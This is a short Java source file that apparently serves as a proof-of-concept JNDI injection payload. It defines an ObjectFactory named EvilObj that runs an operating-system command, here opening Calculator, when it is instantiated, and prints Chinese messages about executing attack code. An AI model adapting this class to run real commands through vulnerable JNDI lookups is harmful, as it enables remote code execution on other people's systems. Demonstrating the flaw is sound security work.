package com.example.datachange.model;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.List;

public class EvilObj implements ObjectFactory {

    static {
        System.out.println("I'm evil");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("执行黑客攻击代码......");
        String[] commands = {"open", "/System/Applications/Calculator.app"};
        Process pc = Runtime.getRuntime().exec(commands);
        pc.waitFor();
        System.out.println("完成执行漏洞代码");
        List<String> s =  new ArrayList<>();
        return null;
    }
}
